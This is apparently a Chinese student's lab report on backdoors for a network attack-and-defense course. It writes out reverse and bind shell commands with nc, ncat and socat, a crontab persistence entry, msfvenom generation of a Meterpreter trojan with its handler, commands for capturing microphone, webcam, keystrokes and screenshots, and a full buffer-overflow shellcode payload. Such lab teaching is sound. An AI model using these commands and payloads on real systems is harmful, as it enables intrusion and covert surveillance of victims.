2019-2020-2 20174322童硕《网络对抗技术》Exp2 后门原理与实践

一、实验内容及预备知识

1.实验内容

  • 任务一:使用netcat获取主机操作Shell,cron启动 (0.5分)

  • 任务二:使用socat获取主机操作Shell, 任务计划启动 (0.5分)

  • 任务三:使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell(0.5分)

  • 任务四:使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权 (2分)

2.基础问题回答

  • 例举你能想到的一个后门进入到你系统中的可能方式?
    • 盗版软件被修改加上了攻击程序
    • 存储介质带有自动安装的攻击程序,包括网上买的内存卡,U盘,二手移动设备(手机平板旧硬盘)
    • 钓鱼网站后台自动下载
    • 伪装成word等类型文件的恶意程序
  • 例举你知道的后门如何启动起来(win及linux)的方式?
    • Win:开机自启动项
    • 设置的事件项目
    • 嵌入到盗版软件中,一旦运行程序就会启动恶意代码
    • Linux:本实验中crontab将其设置为定时启动
    • 对有堆栈越界漏洞的程序注入shellcode
  • Meterpreter有哪些给你映像深刻的功能?
    • 在主机植入后门后,可以获取靶机麦克风摄像头、可以截屏、可以记录键盘输入,记录键盘输入的时候退格什么的都会记录,能与靶机之间传输文件。
  • 如何发现自己有系统有没有被安装后门?
    • 定时检测系统安全
    • 查看是否有异常端口
    • 任务管理器查看是否有奇怪的后台应用程序

 

二、常用后门工具实践

任务一:Windows获得Linux Shell 

1、 Windows:使用 ipconfig 指令查看本机IP:192.168.1.6

 

2、 输入ncat.exe -l -p <学号作为端口号>使用ncat.exe程序监听本机的4322端口

3、 在Kali环境下,使用nc指令的-e选项反向连接Windows主机的4322端口

输入nc  <win IP>  <端口号> -e /bin/sh

nc  192.168.1.6  4322  -e /bin/sh

4、 成功获得Kali的shell,如下图所示

任务二:Linux获得Windows Shell

1、在Kali环境中使用ifconfig查看IP:192.168.1.22,kali的IP地址是可以改的。

输入 ifconfig

可参考:《超详细kali linux 设置固定IP地址步骤》 

2、 使用nc指令监听4322端口<学号为端口>

输入:nc -l -p 4322

3、 在Windows下,使用ncat.exe程序的-e选项项反向连接Kali主机的4322端口

输入ncat.exe -e cmd.exe 192.168.1.22<kali 的  ip> 4322

 

图中说“pwd”不是内部或外部命令这个,是因为我在kali控制后输入了pwd,他不是win的指令,你看我下图输入dir就显示了目录信息,同时上图也没有弹窗。

4、 Kali下可以看到Windows的命令提示,可以输入Windows命令

 任务三:使用nc指令传输数据

1、 Windows系统输入ncat.exe -l 监听4322端口

 2、Kali下连接到Windows的4322端口

输入nc 192.168.1.6 4322

 

3、 建立连接之后,就可以传输数据了

 4、 使用nc传输文件(Kali->Windows)

从kali传给windows,先在kali创建文件

按‘i’进入编辑 模式,输入一些字符标识

输入:wq保存并退出

 

 Windows下监听432端口,并把收到的数据保存到file1.out中

ncat.exe -l 4322 > file1.out

kali反弹连接到Windows的4322端口,nc 192.168.1.6 4322< file1.txt

 

连接建立成功,kali可以收到Windows发来的文件


 

三、Meterpreter

  • 后门就是一个程序。
  • 传统做法是:有人编写一个后门程序,其他人拿来用。
  • 升级做法是:编写一个平台能生成后门程序
    • 基本功能(基本的连接、执行指令)
    • 扩展功能(搜集用户信息、安装服务等)
    • 编码模式
    • 运行平台
    • 以及运行参数
    • 全部做成零件或者可调整的参数,用的时候直接组合,生成一个可执行文件即可。
  • 典型的平台包括
    • intersect
    • Metaspolit的msfvenom指令
    • Veil-evasion
  • 学习如何使用msfvenom生成后门可执行文件Meterpreter
  • 参数说明
    • -p使用的payload。payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode.
    • -x使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中。
    • -e使用的编码器,用于对shellcode变形,为了免杀。
    • -i编码器的迭代次数。如上即使用该编码器编码5次。
    • -bbadchar是payload中需要去除的字符。
    • LHOST是反弹回连的IP
    • LPORT是回连的端口
    • -f生成文件的类型
    • >输出到哪个文件

任务一:使用netcat获取主机操作Shellcron启动

1、 在Windows系统下,监听4322端口

2、 在Kali环境下,用crontab -e指令编辑一条定时任务

crontab 指令增加一条定时任务

-e表示编辑

选择编辑器时选择3

 

3、 在最后一行添加15* * * * /bin/netcat 192.168.1.6  4322  -e /bin/sh意思是,每个小时的第15分钟反向连接Windows主机的4322端口,真的要等到 x点15分!但是过了后还是会保留shell,挂着程序,做点别的事就好

 

4、 当时间到了x点15以及之后时,此时已经获得了Kali的shell,可以输入指令

 

这里获得的是kali的文件目录 

任务二:使用socat获取主机操作Shell, 任务计划启动

预备知识:

  • socat是ncat的增强版,它使用的格式是socat [options]<address> <address>,其中两个address是必选项,而options 是可选项。
  • socat的基本功能就是建立两个双向的字节流,数据就在其间传输,参数address就是代表了其中的一个方向。所谓流,代表了数据的流向,而数据则可以有许多不同的类型,命令中也就相应需要许多选项对各种不同的类型数据流进行限定与说明。

1、 Win+R输入compmgmt.msc打开“计算机管理”,在左侧导航栏中的“任务计划程序”中“创建任务”

2、创建任务   

 

填写任务名称

3、 并新建一个触发器

 

框框里就是字面意思,当工作站锁定时执行操作

4、在操作->新建->程序或脚本中选择你的socat.exe文件的路径,在添加参数一栏填写tcp-listen:4322exec:cmd.exe,pty,stderr,这个命令的作用是把cmd.exe绑定到端口4322,

6、 创建完成之后,按锁定计算机,事件就启动了,再次解锁打开电脑操作往后做
7、 此时,在Kali环境下输入指令socat- tcp:192.168.1.6:4322

  • 这里的第一个参数-代表标准的输入输出
  • 第二个流连接到Windows主机的4322端口

此时可以发现已经成功获得了一个cmd shell

使用win操作可以切换硬盘等等

任务三:使用MSF meterpreter(或其他软件)生成可执行文件,利用ncatsocat传送到主机并运行获取主机Shell

1、 在Kali上执行指令
msfvenom -p windows/meterpreter/reverse_tcpLHOST=192.168.1.22 LPORT=4322 -f exe > 20174322_attackdoor.exe

  • IP地址为控制端IP,即Linux的IP

  • 生成了后门程序:20174322_attackdoor.exe (这个东西相当于恶意软件木马程序)

2、 通过ncat.exe -lv 4322 > 20174322_attackdoor.exe指令将被控制主机进入接受文件模式

3、 在Linux中执行nc 192.168.1.6 4322 < 20174322_attackdoor.exe,注意这里的IP为被控主机IP,即WindowsIP

4、 传送接收文件成功

5、 在Kali上使用msfconsole指令进入msf控制台

每次字符画会变

  • 输入use exploit/multi/handler使用监听模块,设置payload
  • set payload windows/meterpreter/reverse_tcp,使用和生成后门程序时相同的payload
  • set LHOST 192.168.1.22,这里用的是LinuxIP,监听端的ip地址
  • set LPORT 4322,同样要使用相同的端口

     

6、 设置完成后,执行监听
 

7、 运行Windows下的后门程序,就是主机运行了木马程序时开通端口给监视端

 8、 此时Kali上已经获得了Windows主机的连接,并且得到了远程控制的shell

 可以看到第三行192.168.1.6(windows)4322端口受kali控制,这里好像没有试一试命令但没必要,接下来实验是在这个界面上做的。

任务四:使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容

1、 使用record_mic指令可以截获一段音频

2、 使用webcam_snap指令可以使用摄像头进行拍照
 

3、 使用keyscan_start指令开始记录下击键的过程,使用keyscan_dump指令读取击键的记录

4、 使用screenshot指令可以进行截屏


 

四、可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

这个其实不难,可以认真做一下🤔

 

1.实验原理

首先理解实验一的第三部分,

咱输入的32个“A”就是填充字符,90909090后面的代码就是一种shellcode,用来攻击的,在这里换一种shellcode,换个功能更强大的,这次的能把shell通过端口发送出去,黑客能用MSF meterpreter接收,然后就能入侵靶机。

首先把上次实验用的pwn1文件再下载下来,放在kali根目录就好

同时看到之前的截图啥的其实都存在了这里(因为输命令时我们没设置要存哪)

然后明确pwn1文件不重要,运行的实际是输入的下面这一长串代码。你要做的是找到黄色这几位的地址应该换成啥,换对了就成功了。

perl -e 'print "A" x 32;print"\x90\xd3\xff\xff\x90\x90\x90\x90\x90\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80"' > input_shellcode

 

2.实验步骤:

       准备工作:

root@KaliYL:~#execstack -s pwn1    //设置堆栈可执行
root@KaliYL:~#execstack -q pwn1    //查询文件的堆栈是否可执行
X pwn1
root@KaliYL:~#more /proc/sys/kernel/randomize_va_space 
2
root@KaliYL:~#echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
root@KaliYL:~#more /proc/sys/kernel/randomize_va_space 
0

 

输入payload

 

perl -e 'print "A" x 32;print"\x90\xd3\xff\xff\x90\x90\x90\x90\x90\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80"' > input_shellcode

 

步骤4:打开两个终端窗口,左边输入(catinput_shellcode;cat) | ./pwn1 注入然后这个挂着不动,换到第二个端口查看这个任务进程,我这里就是5409,就这四个数左上角这个,就这个,不用别的。这个进程每次运行都不一样的

在这个窗口输入gdb打开编译器,输入attach 5409 编译这个进程

步骤5:在编译调试界面输入disassemble foo设置断点,暂停在foo函数

然后在调试界面输入break *0x080484ae 代表着在上图ret的地方加书签断点,程序运行到这里会暂停。这个*0x080484ae所有人都一样,不一样的应该就是初始设置没弄好,重新设置下,可以试着在pwn1文件的目录下设置

设置完断点回车结束这个指令,弹出新的一行“(gdb)”,然后不要动,换窗口了,

在左边注入代码这个窗口按一下回车

然后在右边调试界面输入c 代表continue继续运行,输入info r esp查看它的地址

算地址 ,(0xffffd38c) 16+ (4)16  = (0xffffd390)16

,改这个pqyload

perl -e 'print "A" x 32;print"\x90\xd3\xff\xff\x90\x90\x90\x90\x90\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80"' > input_shellcode

改好后打开两个窗口,第一个注入,第二个监视

 

配置好监视的这个

注入的端口按回车

 

监视的这边就成功获取到shell了

 

 

五、实验总结和感受

本次较好地完成了实验的所有内容,在实验中遇到了一些问题也通过百度和其他同学的博客进行探究,对linux系统和windows系统了解更多了一些,知道了weindows的事件是怎么设置的,是怎么启动的,同时我还动手删除了两个Onedrive的事件,烦人的弹窗离我远去。学到了MSF监视器的用法,了解了它的功能。更加熟练的找到程序某个函数的地址,更加深刻地学到了计算偏移地址的方法,更加认真的思考了计算机内存栈的存储和寻址方式

 

经过这次实验,尝试使用ncat.exe攻击程序在win系统或者linux系统中留下后门,并且实现了屏幕窃取、麦克风控制、摄像头控制、文件传输、命令行控制等操作。在日常生活中,具有一点安全意识的我一般不打开摄像头和麦克风权限,通过这次实验,让我更加重视系统安全问题。很多时候,黑客入侵是不容易察觉的,虽然在实验中windowsdefence发现了注入的特洛伊木马程序,并提醒我注意系统安全。


但到了今天这个时候,一定不断出现新的电脑病毒,如果不及时更新这些杀毒软件的识别库,就有可能检测不到恶意程序代码,所以要及时更新杀毒软件,但是最好不要安装过多的杀毒软件,杀毒软件之间有可能互相杀。

 六、实验中遇到的问题

实验中遇到了一些问题,这次做实验没有像上次那样截取了80张图,所以遇到的问题都没有图。

1.是kali连不上网的问题

  我在虚拟机中用kali连不上网

 

 

 图中这个有三部分的才是正常的情况,我出错的时候eth0没有显示出IP地址,这里我找了几个博客

《kali无法正常上网的解决过程(使用NET模式)》

《关于kali联不上网的一些解决方法》

《Kali Linux 不能联网上网 解决方法汇总》

我的建议是改一改,ping www.baidu.com 看看有没有数据包返回,然后ping自己的主机IP地址看看能不能连接,我记得当时我能ping通百度,ping不同自己主机,但还是能做实验,但刚才我试了下我两个都ping不通了。不影响,没事的。

2.防火墙没有关导致端口不能被使用

这个好弄,系统弹窗的时候看清楚是哪个程序,允许实验的进行就好,什么麦克风权限呀,摄像头权限呀,win系统开始菜单直接搜索麦克风可以转到设置。

3.加分项pwn1文件那当时没搞懂

这里不应该有问题的,实验一的时候本来都辨析了shellcode是包含在payload里,pwn1文件只是一个载体,一个通过栈越界的手法,将真正有用的代码嵌入的载体。

其实一定做实验前搞清楚要做什么,这部分我们要用一个能特殊的shellcode,这个shellcode不仅要有实验一生成一个控制shell的攻击程序,还得把这个shell控制端口交给另一头,能另一个窗口输入ls命令可以显示目录。所以shellcode要换新的了,但是pwn1文件不用换,它就是个启动程序,就像我们自己创建的exe一样,能运行就行了,换地址是为了让他能运行我们希望的shellcode的地方,而不是foo那个蠢蠢的函数。

4.如何理解msf监视

接受植入靶机的木马程序打开的后门通道,使得在msf这一端可以控制靶机。

在这一过程中,靶机应当主动连接黑客端(kali)这样的连接电脑可认为是用户自主连接外部服务器,这被系统认为是正常的行为,但我们这里杀毒软件还是会显示警告,是因为我们生成的木马程序20174322_attackdoor.exe具有一段的特征性的代码被杀毒软件识别出来了。

当靶机自主连接kali端,kali能通过这个通道获取可用shell,通过msf程序对win输入指令,获得win的摄像头等信息

posted on 2020-03-17 13:11  20174322童硕  阅读(155)  评论(1编辑  收藏

返回顶部